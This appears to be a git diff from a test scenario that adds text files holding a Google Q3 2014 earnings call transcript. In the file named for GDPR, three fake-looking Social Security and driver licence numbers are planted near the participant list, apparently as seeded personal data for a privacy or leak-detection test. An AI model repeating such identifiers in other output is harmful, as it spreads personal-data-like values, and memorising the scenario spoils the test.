cross device measurement +for display ads. Clients have already found that mobile display campaigns drive 15% more conversions than they had +previously measured. +Let's shift gears to talk about our shopping efforts. These dovetail nicely with performance ads. We are directly +connecting people with products and services, and then enabling them to buy, and have them delivered. We keep +making improvements to our products to help retailers. +Keeping inventory organized and up-to-date is a constant challenge for retailers. We help them manage this issue by +completing the transition of product listing ads to our shopping campaigns platform. +And finally, people often want to find stores near them to make a purchase in person. We have long had local inventory +ads that enable merchants to show customers this information in the U.S., and we launched these in the U.K., France, +Germany, Japan, and Australia last quarter. In summary, the core of our business, performance advertising, continues to +deliver great results. +Let's move on now to our brand business. Our objective is clear here: make digital the best possible canvas for creative +and effective brand building campaigns. First, let's talk about YouTube. Any conversation about great advertising starts +with great content. On YouTube, stars produce amazing content that our users love, from Bethany Mota, to Smosh to +Mental Floss. +Earlier this year, we launched Google Preferred to help connect brands with premium ad inventory on our most popular +YouTube channels. Since then, we have secured upfront commitments from top media agencies. We're just getting +started with YouTube and its potential. We've sold out the majority of our U.S. Google Preferred offering, which +represents among the top 5% of popular channels inventory on YouTube, and as result of terrific Brandcast events in +Germany, France, U.K., and Australia, we're seeing tremendous interest from local agency partners around the world. +Last quarter, we also saw some great progress in our brand efforts beyond YouTube. We launched new ad formats +customized for mobile screens. We also announced an expansion of YouTube's TrueView ads into AdMob's network of +more than 650,000 mobile apps. Every day, our teams work to develop both the products and terrific partner +relationships that enable us to tackle any digital marketing challenge across multiple channels together. +With encouragement from Google and YouTube, ABC executed a digital-first marketing plan for their new fall TV +lineup. The effort included custom five second ads for TrueView and collaborations with homegrown YouTube stars. +We are very excited about the new deal with Mondelez and Starcom MediaVest. This global agreement will focus on +video and display and is Mondelez's largest digital medial deal ever. +Next let's take a look at one of the fastest-growing parts of the digital advertising world, programmatic platforms for +agencies and publishers. For many years now, our goal has been to provide world-class technology for brands, +agencies, and publishers to power their ad businesses. Today, our DoubleClick suite is used by all major agencies, and +we are particularly focused on multi-screen and video. +DoubleClick Bid Manager is the go-to tool for marketers and agencies to navigate the rapidly growing programmatic +advertising space. It's doubled in size year-over-year by impression volume, and we really love the progress we see +here. +For publishers, we help them make money from the content via our publisher tools, from our Ad Exchange to +customized private exchanges which complement our core offerings. This quarter, we signed new private advertising +exchange deals with publishers like Fox TV and Edmonds. This helps publishers generate revenue from premium ad +space. We have nearly doubled the number of private exchanges running on our system year-over-year. +Finally, we are seeing remarkable momentum in our newer non-ads businesses. Whether it's Play, Hardware or Google +for Work, we continue to see strong growth and we're thrilled to be the platform for our partners successes as well. +Google Play's growth continues to impress. It's a linchpin of the amazing Android ecosystem. We brought Play Music +to 17 new countries, bringing the total to 45, and our expansion continues. Today, Play Movies is available in 93 +countries, and Play Books is available in 61 countries. +On the hardware front, just yesterday, we unveiled three fantastic new Nexus devices: Nexus 6 phone, Nexus 9 tablet, +and Nexus Player, an Android-powered streaming media player. +This quarter we worked with HP, Toshiba and Acer to introduce five new Chromebook devices, and teamed up with +ASUS, LG, Motorola, Samsung, and Sony to help launch new Android Wear devices. We're also selling Chromebook +in six new countries. They are now available in 31 countries around the world. And we sold more than 1 million +Chromebooks for education this quarter, even more than last quarter. +Chromecast celebrated its first birthday this past quarter. It's been a smashing success. Users have hit the cast button +more than 400 million times since it launched to enjoy their favorite sports, music, premium movies, and TV shows. In +September, we added even more content to Chromecast including Disney content. +And we were so proud to launch Android One, an effort to make high-quality, low-cost smartphones available to as +many people as possible. We started in India and will be expanding to other countries, including Indonesia and the +Philippines, in the coming months. +For businesses, what was called Google Enterprise is now simply Google for Work. This business has great traction. In +addition to the tremendous growth in our Apps business, we have more than 1,800 sign-ups for Google Drive for Work +every week, plus there are almost a quarter of a billion active Google Drive users, including consumer, education and +business users. +We continue to invest in our growing cloud platform business, helping developers realize the promise of cloud +computing, by providing affordable on-demand access to world-class technology. We recently announced Google +Cloud Platform for Startups, and offer up to $100,000 in credits to enable the best and brightest startups to use Google's +Cloud platform. +Sony Music recently built an interactive app in less than three weeks using App Engine to engage fans tuning into One +Direction Day, an eight-hour YouTube live stream featuring the band, one of the largest ever YouTube music live +streams. +Lastly, our Marketing team had a great quarter as well. Google My Business helped more small businesses get online, +and our Art, Copy & Code projects showed advertisers the creative potential of digital marketing. And from the annual +Google Science Fair to more recent campaigns showcasing amazing content on Play, YouTube Stars, and the power of +the Google App, the magic of Google was on prominent display. +All told, it was another terrific quarter at Google, continued momentum in our core business, and exciting innovation in +new areas. Kudos to the Googlers around the world who made it all happen. +I'll turn it over to Patrick to wrap up and start our Q&A. +Patrick Pichette +Thank you, Omid. So, Jamie, if you want to give us the instructions, and we'll get going on the Q&A. +Q&A +Operator +Thank you. [Operator Instructions] And we'll take our first question from Eric Sheridan with UBS. +: Thanks for taking the questions. So first one, maybe with the announcement that you're +expanding Google Shopping Express into other cities and rebranding it and new retailers are coming on, wanted to see +what you saw in those first few cities to think about extending it further into the other cities, and what you might be +hearing from feedback from retailers about adopting the platform, because a few also dropped off the platform at the +same time. I just wanted to get a little bit better color about how that was developing and how you're going to go +forward with it. Thanks. +: Thank you very much, Eric. So we're really trying to learn a lot here. Innovation is a messy +process, and especially with Google Express here, there's a lot of understanding that we need to have on improving +efficiency in the logistics process, trying to find price points that shoppers find attractive, and our goal is really to help +the 35 – over 35 merchant partners succeed and reach their customers. And I am a user of it, and I'm really impressed +by how much time it saves. I see the cars running around the city, around me. And I think our goal is really to take it a +step at a time and see the success, understand the logistics – logistical operations, how much it costs us to do this, and +can we deliver this basically in a successful way. +: Just, Eric – just a couple of, kind of, additional points. One is, clearly we've announced this +week three other cities. So if you go back to the fundamental premise of kind of the argument we tabled which is – the +first thing was, would people show up and want this product? It's very clear people want this product. The second one +was – and that's why we're expanding the product. +The second question then is, we've had a lot of questions about monetization, and we've announced this week we're +taking real actions on the monetization service, both including commissions on these transactions for merchants, but +also service fees that were announced as well. +So from that perspective, we kind of think of it as now we're in phase two of this product where, according to our +business plan, right, we continue to kind of look for the barriers, the milestones. And then when we hit those +milestones, then we with enthusiasm keep on going. +All this to say, it is nevertheless a scale business so working on efficiencies, working on all of the issues that are related +to logistics, continues to be a big focus of ours. On the partners, we're really thrilled to have the partners we have. You +can expect as we kind of grow through this, that we have a few coming in, more coming in, few coming out. But +overall, very, very pleased with the trajectory there. I think you should see the announcements of this week as just kind +of a sign of optimism and momentum in it. +Thank you so much for your question, Eric. +: Great. +: Jamie, let's go to our next question. +Operator +And we'll go next to Justin Post with Merrill Lynch. +: Thank you. I'm wondering if you could help us at all, segregate the Search business from other +items in Google website, and just give us your view on the health of the Search business. And then comment a little bit +on that paid click deceleration. What is driving that, and do you even see that as an important metric? Thank you. +: So I'll take that. The two points is one, look, we don't give the breakdown of the Google Sites. +But actually, it's pretty healthy on all dimensions. I think that from that perspective, search is going well, and all of the +other dimensions of our Sites is actually doing pretty well. That's what you see in our kind of 20% year-over-year, just +for Sites, growth. So from that perspective, I think that we're pretty happy on that front. +On the CPC issue, it's pretty simple. I mean, we really had, again, you have to think of the CPC and the volume as one +basket that actually delivers. So monetization overall is still very strong. We're very happy with the monetization, +Jamie, and if we have in one quarter kind of movements between one or the other, that is just basically the continued +experimentation and the impact of all of the factors that I usually talk about. So from that perspective, there's nothing of +noteworthy to kind of mention this quarter. We are very happy with the trends in both cases. +: Thank you. +: Thanks, Jamie. Jamie, we'll go to our next question. Sorry, Justin I meant. Jamie, we'll go to +our next question. +Operator +And we'll go next to Stephen Ju with Credit Suisse. +: Thanks. I think in the past you've talked about the opportunity cost not being there for the user +when they're trying to access your products and services, as a rationale for making investments. So is there any data +you can show on your newest users in the emerging markets who are going straight to mobile? Is it safe to assume that +consumption from these new users are running at a pretty similar growth trajectory with what you've seen historically +on a desktop and as well as your established markets or is their engagement with all of your products more intense? +And is there anything you can say in terms of what areas of your business are seeing the more intense level of +investments? Is it more your consumer focused initiatives or more your enterprise focus cloud initiatives? Thank you. +: So a couple of points there, and then if Omid has additional comments. One is clearly +emerging businesses, emerging markets are just fundamentally different than the more developed markets, right? If you +think of a country like Indonesia, or India where people go straight to mobile and so in that context, there's clearly, a lot +of differences between those markets, and how they are evolving, compared to what would've been 10 years ago in the +U.K. or the U.S. So from that perspective, I think that, and that's why you see us launch things like Android One, right? +When you have just under 2 billion people around the world that have already smartphones, the vast majority of the +population looks for things online. So these kind of initiatives that we're launching I think is the most important piece. +From an investment at Google, we're investing without giving you all the details, we are clearly investing in our core +business, it remains the focus of our activities. But if you look across, right, as Omid mentioned, he mentioned the +Cloud business, the Google for Work business, all of these other areas, the Play business, the hardware business, these +are all areas where we're investing, and we're investing with enthusiasm. With each their own specific business case, +each of them actually looking for what is their growth and profitability models, and we just monitor them pretty tightly. +Okay. +: Thank you. +: You're welcome. Jamie, let's go to our next question, please. +Operator +And we'll go next to Mark Mahaney with RBC Capital Markets. +: Hey, Patrick. In describing the Google search strength, you said you saw particular strength +in mobile search. Could you elaborate? +: Yes. No. I mean, look, it's very clear that mobile is still a big part of our growth, and we're +very pleased about it. I mean, but when we talk about mobile, I think that there's a couple of things. One is you have to +continue to look at both, the growth in volume, and the growth in pricing, so these are long-term trends that we're +seeing. The CPCs and the clicks, they can fluctuate from quarter to quarter. It just happens that we've made some +changes this quarter that improved the mobile pricing while impacting the lower quality clicks, and that's what you see +reflected in our numbers. +Again, but I wouldn't just as an overall statement remember to everybody that I would not attribute the aggregate CPCs +movement just to that one factor of mobile, right? Because there's still a full factor mix, as I talked about in my remarks +about geography and product changes. So all of this actually makes a big factor as well. So that's what we've seen in the +strength of mobile, but we're still very pleased with the momentum. +Thanks, Mark. Jamie, we'll go to our next question, please. +Operator +And we'll go next to Ross Sandler with Deutsche Bank. +: Thanks, guys. I have two questions, first on the U.K. and then second on mobile payments. So +the U.K. growth looks like it's dropping off pretty hard on an ex-FX basis, either one-year or two-year growth rates, so +I think this is an economy that folks generally think is supposed to be holding up pretty well. So can you talk about +what you're seeing in the U.K.? You had mentioned weather and a few other things, but a little more color on what's +going on with the ad market in the U.K. +And then mobile payments, that's an area that's getting a lot of attention lately. Can you just give us an update on where +the Google Wallet team stands and what kind of traction you're seeing in terms of user adoption and maybe how you +plan on addressing merchant payments, kind of outside of in-app or things from the App Store? Thank you. +: So, Ross, why don't I take the first question, and then Omid will give you the answer to the +second. As we talk about the U.K., a couple points are worth note. One is, the U.K. contributed roughly 10% of our +total revenue this quarter, and that's been the same for kind of the past many quarters, and in fact, if you go back years, +it'll still be in the same range. So there's nothing kind of fundamental that is worth noting. It's still a pretty good market +with decent growth. +The issue of deceleration this quarter, specifically, I mentioned a number of elements, right? So platform mix. We do +see a mixture of desktop/tablet searches having a greater impact in the U.K. than anywhere else than we see in our +network of countries. +On property mix, you'll remember we talked about this also on prior calls, AFS, as a business, has a much bigger part +of our both U.K. and U.S. business, so it'll skew to those geographies. And so those are kind of some of the elements. +And as I mentioned, year-over-year comps were difficult, and if you have a great summer in terms of weather or bad +summer in weather, it can have some real impact on the growth rates as well. So it's a combination of a number of +factors that the U.K. has driven our performance, but still pretty pleased. But I won't, that's really what's going on there. +In terms of the payments, I'll let Omid give you an update there. +: Hi, Ross. I think our goal here is really achieving mass merchant adoption, so the availability +of these NFC devices is about that and also making it easier for consumers to replace their wallets with their +smartphones, hopefully, more and more over time. So reducing friction in everyday shopping experiences is how we +approach it, and the focus on the user, and we're really developing a fully functional payment system. So as you may +know, users can send money today to friends through Gmail using the Wallet app. We have loyalty and gift cards that +can be stored the Wallet app, and the Buy With Google button makes it possible for users to make purchases very +quickly with two clicks. So again, it's this two-fronted focus on merchant adoption and removing the friction for users. +Thank you. +: Thanks, Ross. Jamie, let's go to our next question, please. +Operator +And we'll go next to Ben Schachter with Macquarie. +: Omid, after many years of waiting for television budgets to shift online, it appears to be +happening in a more accelerated fashion. So, one, do you agree with that, and two, could you just discuss YouTube's +positioning versus competitors, and in particular, Facebook Video. +And then Patrick, couple of quick ones for you. One, given the evolution of tax laws in Europe, how are you and how +should we be thinking about Google's tax rate over the coming years? And then also, just any comments on stock comp +being particularly high this quarter? Thanks. +: Thank you, Ben. This is Omid. So the way we look at it is that users are really accessing +Internet on large screens with high broadband speeds, and we're getting great monetization on these screens, and +advertisers are really paying attention. So we have seen a real shift where marketers and agencies who have historically +built their brands on TV are really reorienting this toward investments on digital. And in regards to YouTube, our focus +here is really this focus on investments in more content, more creativity. +And I think you also mentioned you had a Facebook comment. What they're doing, I think, in video has always helped +us with bringing more attention and more innovation to the space, so we welcome that, and the way we're going to +approach it is just continue to invest in our platform and on the creators, and building better and better monetization +solutions. Just again, you may know some of these metrics, but I'll say it again. We have 400 hours of content that are +uploaded every minute, and partner revenues up 60% from 2012 to 2013 on YouTube. +: Great. Let me jump, Ben, on the YouTube-specific questions. On the tax issues, I mean, +you've heard about the Ireland announcement earlier this week on the double Irish tax structure. I mean, for us, we've +always said that it's for politicians to decide what laws they want to put in then for companies just to comply with those +laws, and that's what we're basically doing. +So we're deeply committed to Ireland. We've worked there for many years. We have a great – that's our headquarters. +We have over 2,500 employees there. And so from that perspective, we're committed to the place. And we're going to +work with the authorities just to kind of get clarifications over this, but it's really way too early to tell what's going to +happen. So we're just – just like you, getting the information, the news, and we're going to work with the authorities to +understand it better, and then comply with the laws. +In terms of stock-based compensation, a few – just a few notes on this one for this quarter. We have – it's the time of +year where we do equity refresh. And from a timing perspective, last year we did the equity refresh in Q2 instead of +Q3. So there's kind of like a geography of Q2 versus Q3 that kind of hit us in Q3. In addition to this, we – if you go to +our filings, you'll see that our executive compensation, so think of the top 15 or top 20, I can't remember the exact +numbers but it's stated there, that they do their refreshes every two years, and it happens to be this quarter as well. And +then finally, I mean, we obviously have more employees. So it's just a compounding set of factors, Ben, that I kind of +lumped it all into Q3. So it's no more, no less than that on that one. So... +: Thank you. +: Thanks for your question. Jamie, let's go to our next question, please. +Operator +And we'll go next to Anthony DiClemente with Nomura. +: Thanks a lot. Just on core operating expenses, is there anything in particular, Patrick, +that you might call out in terms of expense growth in the quarter, as you have operating deleverage through the P&L? +I'm just wondering going forward if that's likely to continue. +And then a question for Omid, I suppose, on YouTube, you mentioned – I know that YouTube's investing in its studio +as a way to help along new talent, new home-grown talent, onto the new platform directly. I'm wondering if you could +talk about the multi-channel networks, how YouTube's relationships with the multi-channel networks, the MCNs, are +evolving at a high level, how you guys think about that dynamic between the home-grown YouTube talent itself, as +compared to talent that resides on the MCNs? Thanks. +: Okay, Anthony. Thank you for your question. Why don't I jump in right now on just expenses +for the quarter. I think if I had two comments to make on expenses in the quarter, you may notice that relative to a few +models that I saw out there, R&D is – was higher and other areas are a bit lower. And I just want to highlight that we +hire and we focus clearly our hiring in our tech payrolls or, think of it as, all of our engineering. And that skews to +R&D. So as we bring on people and we push forward the growth of our – we really focus it in the areas that are going +to make a fundamental difference to Google, which is engineering and by doing so, it kind of skews to R&D. So that's +why R&D was maybe a bit higher than expected by some models out there. And so that's one piece. +And then the other one is, I just wanted to reiterate that, I mean, it's very clearly an extraordinary quarter from a hiring +perspective for the comments I've made before. And so, we're kind of clearly seeing that, but at the same time I +wouldn't say that this is clearly a new run rate for us or anything like that. It just happened that most of these kind of +college students end up landing in Q3, and we have the result of a banner year from a hiring perspective. All through, it +takes a year to hire them all, and then they come into this quarter. So that's really the – kind of the two big elements that +have actually flowed, Anthony, through our P&L this quarter. +: Okay, great. Thanks. +: I'll let Omid answer the YouTube question. +: Yes, Anthony. So again, we have a very, very partnership-minded organization here, and +company as a whole. So we view MCNs as, I mean, organizations that are really going to help a developer of great +content, support the creators on YouTube. Just like we are doing that with YouTube Studios, I think MCNs can help a +lot of these become future stars, hopefully, and develop more success. So just, we view it as another form of +partnership that we need to pay attention to and support, so that's how we look at it. +: Thank you, Anthony. Jamie, let's go to our next question, please. +Operator +And we'll go next to Carlos Kirjner with Sanford Bernstein. +: Thank you. I have two questions. Patrick, is CapEx still driven by real estate and +construction? And if you ask, can you explain in a bit more detail what changed about 18 months ago in the way you +acquire real estate and build to drive the inflection in capital-intensity that we have seen? It looks like you operated for +more than 10 years in one way, and then there was a shift that has led to this massive inflection. So what happened +there? +Secondly, do you think that Google Login is adopted or is about to be adopted by large enough number of important +mobile apps for you to be competitive and long term when it comes to offering mobile targeting attribution? And can +you give us an update on developer adoption of deep linking ? Thank you. +: Okay. So I can certainly take the first and let Omid answer the second. I've made that +comment before in the prior quarter, Carlos. The CapEx intensity in our CapEx program has been built by a +combination of, as I mentioned in previous quarters, catching up when we were running too hot in terms of tightening +of capacity. And so, on one side I am very happy that when we kind of really torque our utilization rates, on the other +side it creates a lot of operational issues. And that led us to believe that in fact investing ahead of the curve was actually +a strategic imperative for us to make sure that if we have the extra capacity, we will grow into it. And I mean the +difference between certainly on the data center side, right, the data center construction and machines. And you will +have noticed that this quarter again, the priorities, if you look at the nomenclature I gave, right, construction of data +center is the primary. So it is the core infrastructures, it's groundbreaking, and it is setting up the core infrastructures. +Machine was the second quarter for this quarter, but you'll notice that it for flip flops with real estate. In the case of the +real estate, I mean, you – we have been investing for our campus and otherwise when we see – when we hit this kind of +minimum scale, we need to kind of make investments in real estate. And again with an eye of looking to the long-term +rather than just filling at least for the next 12 months or 24 months, because once you kind of, if you decide you're +going to grow in a place, then need the capacity for multi years, so all of these factors have actually kind of been the +driver for the shift in capital intensity that you have seen over the last 18 months. So that is basically the explanation, +Carlos. +I will let Omid kind of jump on the second question about the mobile question. +: Sure. Thanks, Carlos. +So the AdMob network, which is 900 million unique devices per month, and our own apps are hugely popular, Gmail, +Maps, Google App and YouTube. And our focus is also is helping developers generate app downloads and +reengagement with users who have already downloaded their apps, as I mentioned in my remarks earlier. And we're +really helping drive hundreds of millions of app downloads through app promotion products. Again, the goal here is +that you just search and not worry about where the answer is, is it on a web page or an app? And we have been in this +game for a while. +Four years ago, we acquired AdMob and have continued to invest in this space heavily. And this quarter we launched +the next generation of these app promotion ads across Google Search, Google Display Network and YouTube. So we're +really focused in this area to help the developers and our users. +: I think we can clearly say that we're pretty pleased with the developer adoption of this. They +see huge a huge benefit, so they're actually investing in it. Thank you, Carlos. +: Thank you. +: Jamie, let's go to our next question, please. +Operator +And we'll go next to Douglas Anmuth with JPMorgan. +: Thanks for taking the questions. Just two for Omid. First, you talked about Estimated +Conversions and seeing a 15% increase there. Can you just talk about whether you think that's actually leading to more +spend at this point from advertisers? +And then secondly, are you seeing mobile like-for-like pricing improvements at this point? And what gives you the +confidence in mobile closing the gap with desktop over time? +: Okay. So both are really good questions. They're related really. I think the way this is going +to play out is that I think advertisers are going to, with these tools, be able to just understand conversions better. Where +is it happening? And then the dynamics of how those changes is all the way back to adjusting bids and then paying +attention to where the conversions are coming from. +So again, I think just to maybe highlight some examples for you, the fashion retailer, Express, who is an early tester +found that the overall return on their ad spend doubled when off-line sales were included in the online advertising +results. So we're just continuing to invest here, and get this right. It is too early to figure out the impact exactly on +revenue, but we expect Estimated Total Conversion to help the advertisers truly measure this, and ultimately adjust +their bidding, and just get much more sophisticated in these measurements. I hope that answers. +: And mobile on a like-for-like basis? +: The way we are focused on this is that users really are using the screens interchangeably, +simultaneously throughout the day. And we really are not at this point doing this like-by-like comparisons or comment +on it, because we think it's still early, and we're really focused on just delivering the results, and it took many years, for +example, for the desktop ecosystem to develop the right ad formats, and that really take advantage of the platform. So I +think we just need to continue innovating, experimenting here to get it right. +: Thank you. +: Thanks, Douglas. Jamie, let's go to our next question, please. +Operator +And we'll go next to Mark May with Citi. +: Thanks for taking my question. Whether or not there's been quite a bit of attention paid to cloud +services space and Google in particular. Wondering if you can comment a little bit around the traction that you're +getting with compute engine, and what sort of impact that, that is having on revenue expenses and CapEx for the +business. +And then secondly, hoping, I think earlier you made a comment around some changes you've made in mobile that have +impacted some of your network click metrics. So hoping you could elaborate a bit more on that. +: Okay. Do you want me to...? +: Go ahead. +: I will just jump on the cloud, and then the last piece, and then maybe, I wasn't sure what the +very first part of your question, Mark, was. But clearly, cloud is an area that is kind of booming. Right? We know that +the long-term trends are very clear for us, which is the vast majority of businesses, everybody's moving their +infrastructures to the Cloud. So and it is an area where we have fundamentally great assets to contribute to this industry, +both in terms of the flexibility, the cost structure, the technology. And that's why we're investing heavily in there. +We're seeing great progress from an adoption perspective, signing up new customers, and from a CapEx. Obviously, +you need to kind of, that's one of them that as I mentioned on the CapEx story with Carlos a few minutes ago, if you do +take off, and you really get the kind of customer adoption that you expect, if you don't have the capacity in place, it can +have a really important kind of differential in your success. So there is one that we're keeping a pretty close eye on +from a CapEx perspective, and making sure that we have the option value. +On the – the third question was mobile did have network click. Yes. Clicks and CPCs always fluctuate from quarter to +quarter. It just happens that we have, as I mentioned, made some changes this quarter that improved our mobile pricing +while impacting low quality clicks. Sometimes it goes, if you think of a long-term trend in the mobile sector, a piece of +our products, sometimes you kind of put new change in the network, and then it creates a lot of clicks for it, but then +the CPCs are much lower. And then if it doesn't actually create something that's really good for the user, you need to +kind of pull back on it, that's you've heard, for example, parallel to the AFS business. +So it's kind of constantly fluctuating. What's really important to like that is really the combined volume and pricing +growth. And so for us, it's very clear that we're doing some great work in this area, and monetization in the aggregate is +doing very well. That's really what we're, like on a quarter over quarter basis, don't panic about little movements here +and there. You look at the fundamental trends, and that's where we're very pleased. +Did you have a first, was there a first question that I missed, Mark? +: No. I was hoping on cloud that maybe you could put some numbers behind the level of traction +in terms of number of customers, impact on expenses, CapEx, the level of investment in the cloud...? +: I see. Okay. So, I mean, I've given you what I can give you on that. Again, we're really thrilled +by momentum there and our focus in that area. +: Thanks. +: Thanks, Mark. Jamie, we'll go to our next question, please. +Operator +And we'll go next to Peter Stabler with Wells Fargo Securities. +: Thanks for taking the question. One for Omid. Going back to Estimated Total Conversions, +I'm wondering if we could expect odometry to be integrated into the DoubleClick platform, and how that may or may +not work with the Estimated Total Conversions tool? +And then finally, I'm wondering if you could comment on your work around coming up with a solution that reduces the +dependence upon cookies and perhaps introduces a cross-platform, or cross device ID for Google, and what impact that +could have on the market. Thank you. +: Sure. I think, again, it's early for us to call out odometry. It's a great attribution solution, and +we've been investing in that tool for a long time now, and trying to just get this right by all the innovation that's +happening within Google, and just really understanding the impact of these usage models and between the mobile +devices and desktop. +And so, I think we're going to look at the – everything that's available out there, both what we're developing and +partners out there that we could partner with, and continue to invest here. It's going to take us, I think, a while, just like +we've experienced before with search, to get this right and have a real end-to-end solution for marketers and publishers. +And so, I think you'll see a lot of innovation in this space, what Facebook recently announced another approach, and +we're going to study that and just figure out what is the right set of offerings from us. So I guess unfortunately, I can't +give you a very specific answer here. But I think what you'll see from us is, pay a huge amount of attention here, make +the measurements, see the impact, and then offer a full suite to our customers. +: Yeah, so just basically, too early to speculate on these issues. But clearly it's an area of focus +of the company. +: Thank you. +: Thank you, Peter. Jamie, our next question, please? +Operator +And we'll go next to Heather Bellini with Goldman Sachs. +: Great. Thank you. I had two questions. The first was a follow-up on Google Shopping +Express. I mean, just wondering, when you think about what Amazon is doing with same-day delivery, they're +obviously building these fulfillment centers themselves, which theoretically should give them scale over time. I'm +wondering if you could share with us how you see this evolving for Google over time. +And then a follow-up question would just be related to your comments about payments, and I'm just wondering how +critical is it for Google itself to solve the payment friction that you're seeing with kind of a ubiquitous digital wallet or +would you be fine with a third party doing so for the Android platform? +: Thank you, Heather. I'll take the first and then led Omid answer the second. Clearly, Google +Shopping Express, I mean, there is an issue of scale, and it's a combination of an issue of scale, tools and efficiency. I +mean, that's how you, if you think over time, end up with a product that you can deliver within kind of hours at the +right value and where you can make money. So it's not only about central. I mean, yes, for efficiency you need +centralization, you need a bunch of distribution tools that actually work. We're clearly focused on that as well. I mean, +it is part of the business case that we're building. But you need more than that, right? There's a lot of other elements as +well. So clearly, focused like our competitors would be. +And in our announcements today, again, right, kind of our – was it yesterday? Yesterday's announcements on Shopping +Express kind of tell you that we are investing both for the three new cities to kind of give you a hint of, yes, it's about +scale. So clearly we're focused on that. +: Yeah, and, Heather, on the Wallet question, I think again we're going to continue to be open +here. So we are trying to get it right and innovating on multiple fronts, as I mentioned earlier. And if partnering makes +sense, we'll take a look at it as well. So – and the goal is, here, really to provide this very seamless experience for the +users, and then get the merchant adoption and hopefully get this right. I'm certainly delighted every time I use this and +it works. And I think if we can all get the ecosystem right and there are multiple players in it and partnerships that are +making it happen, we're definitely open to that. +: Thank you, Heather. Let's go to our next question. +Operator +And we'll go next to Paul Vogel with Barclays. +: Yeah, great. Thank you very much. As Google Play has grown, I'm just wondering if you could talk +about the relationships with the carriers and how that's evolving over time. +: Yeah, I can answer that. So essentially, Google Play is doing great. And everybody wants to +kind of be part of this answer. And so for our carriers, I mean, they're really done on a one-by-one basis. So the real +question is, what's the win-win? And so they're all done individually. We have great, great partnerships with many +carriers that actually fuel this, including carrier billing. So all this actually is just a very, very positive ecosystem for us, +and so we're totally thrilled to have these partnerships. And we expect to continue to do so. +: Thanks. +: Thanks, Paul. Jamie, one more question? +Operator +And we'll take our final question from Brian Pitz with Jefferies. +: Great. Thanks for the questions. Two on video for Omid. You mentioned Google Preferred in +your comments. Any color on further expanding the upfront process with the ad agencies? Basically, do you anticipate +that upwards of 5% to 10% of your top inventory could actually be set aside for Preferred, longer-term? +And then just given the shift of off-line TV dollars to online, as you've mentioned, any comments on political, +specifically, or other new categories more aggressively moving onto YouTube? Thanks so much. +: Sure. Thank you, Brian. +So we secured upfront commitments from five top agencies, IPG, OMD, Digitas, Carat, SMG and some major brands +like General Motors and Coca-Cola, and we were actually very, very pleased with how Google Preferred was +experienced and adopted. So I think we're going to definitely continue working on this, and also if you look at our +history, we're very used to it, the selling model that was all about performance, and then as we added properties like +YouTube and brand and mobile, we're just getting, more and more now gaining a better understanding of how to work +in this upfront process, for example, to offer the marketers this incredible asset that we have in YouTube and our +network. +So we're going to just continue getting better on the products side, figure out how to package this inventory better and +then the tools that are needed. And then on the selling side, just get better at also working with the agencies and our +advertisers and marketers to get this type of selling right. +And on the political vertical, I think clients love to use our products as part of their campaigns for federal, local, state +campaigns, and it is a really great area for us. We have, actually, a political sales team that's focused on it, so I think +you'll see more of that effort from us. +: Great. Thanks. +: Thank you very much. +Patrick Pichette +Thanks, Brian. Jamie, that's all the time we have. So if you don't mind, I'd just like to close by reiterating what Omid +said a bit earlier. +This quarter was a great quarter with great momentum again, and I just wanted to thank all the great efforts of our +Googlers around the world who make us look good on this call because of their fantastic efforts. +So with that, Jamie, I'll let you close the call, and have a happy Q4, everyone. +Operator +Thank you. Again, that does conclude today's conference. We do appreciate everyone's participation. + Current Time : 2020.06.14-17.27.50 diff --git a/scenarios/scenario_5/infra/s3_files/s3_files/2_GDPR.txt b/scenarios/scenario_5/infra/s3_files/s3_files/2_GDPR.txt new file mode 100644 index 0000000..419c423 --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/s3_files/2_GDPR.txt @@ -0,0 +1,540 @@ +iQ3 2014 Earnings Call +Company Participants +• Ellen West +• Patrick Pichette +• Omid Kordestani + Ronghua Wang * iii +Other Participants +• Eric J. Sheridan +• Justin Post +• Stephen Ju. +• Mark S. Mahaney +• Ross A. Sandler +• Ben Schachter +• Anthony DiClemente +• Carlos Kirjner-Neto +• Douglas T. Anmuth +• Mark A. May +• Peter C. Stabler +• Heather A. Bellini +• Paul Vogel +• Brian J. Pitz +SSN: 431-23-1231 +Driver License: F1121231 +SSN: 431-23-1232 +Driver License: F1121232 +SSN: 431-23-1233 +Driver License: F1121233 +MANAGEMENT DISCUSSION SECTION +Operator April_05_01 +Good day and welcome, everyone, to the Google, Inc. third quarter 2014 earnings conference call. This call is being +recorded. +At this time, I would like to turn the call over to Ellen West, Vice President, Investor Relations. Please go ahead. +Ellen West +Thank you, Jamie. Good afternoon, everyone, and welcome to Google's third quarter 2014 earnings conference call. +With us today are Patrick Pichette and Omid Kordestani. +As you know, you can access our earnings release through our investor relations website located at +investor.google.com, so please refer to our IR website for our earnings releases as well as the supplementary slides that +accompany the call. You can also visit our Google+ Investor Relations page for the latest company news and updates. +This call is also being webcast from investor.google.com. A replay of the call will be available on our website later +today. +Now let me quickly cover the Safe Harbor. Some of the statements that we make today may be considered +forward-looking, including statements regarding Google's future investments, our long-term growth and innovation, the +expected performance of our businesses and our expected level of capital expenditures. These statements involve a +number of risks and uncertainties that could cause actual results to differ materially. +Please note that these forward-looking statements reflect our opinions only as of the date of this presentation and we +undertake no obligation to revise or publicly release the results of any revisions to these forward-looking statements in +light of new information or future events. Please refer to our SEC filings for a more detailed description of the risk +factors that may affect our results. +Please note that certain financial measures that we use on this call, such as operating income and operating margin are +expressed on a non-GAAP basis and have been adjusted to exclude charges related to stock-based compensation and, as +applicable, other special items. +We've also adjusted our net cash provided by operating activities to remove capital expenditures, which we refer to as +free cash flow. Our GAAP results and reconciliations of non-GAAP to GAAP measures can be found in our earnings +press release. +With that, I will now turn the call over to Patrick. +Patrick Pichette +Thanks, Ellen. As some of you may know, we have a new leader in our Investor Relations team at Google. Her name is +Ellen West. That's the great voice you just heard a minute ago, second ago. Ellen is a longtime Googler who joined us +in 2007. Although she's here with us today in Mountain View, she's actually based out of New York, and that will give +us a bit more footprint on the East Coast as well. So Ellen, welcome to the team. +What that, let's dive into the details of Google's financial performance for Q3. Our gross total consolidated revenue +grew a healthy 20% year-over-year to $16.5 billion and was up 4% quarter-over-quarter. Without currency fluctuations, +our gross total consolidated revenue growth would have been 19% year-over-year. Google sites revenue was also up +20% year-over-year to $11.3 billion, and was up 3% quarter-over-quarter driven by the strength in our Mobile Search. +Network revenue was up 9% year-over-year at $3.4 billion and was flat quarter-over-quarter, driven by improved +year-over-year growth in the AdMob and the AdExchange businesses. Finally, Google's other revenue grew a healthy +50% year-over-year to $1.8 billion and was up 15% quarter-over-quarter, this driven by year-over-year growth mainly +from the Play Store, but also complemented by an increase in 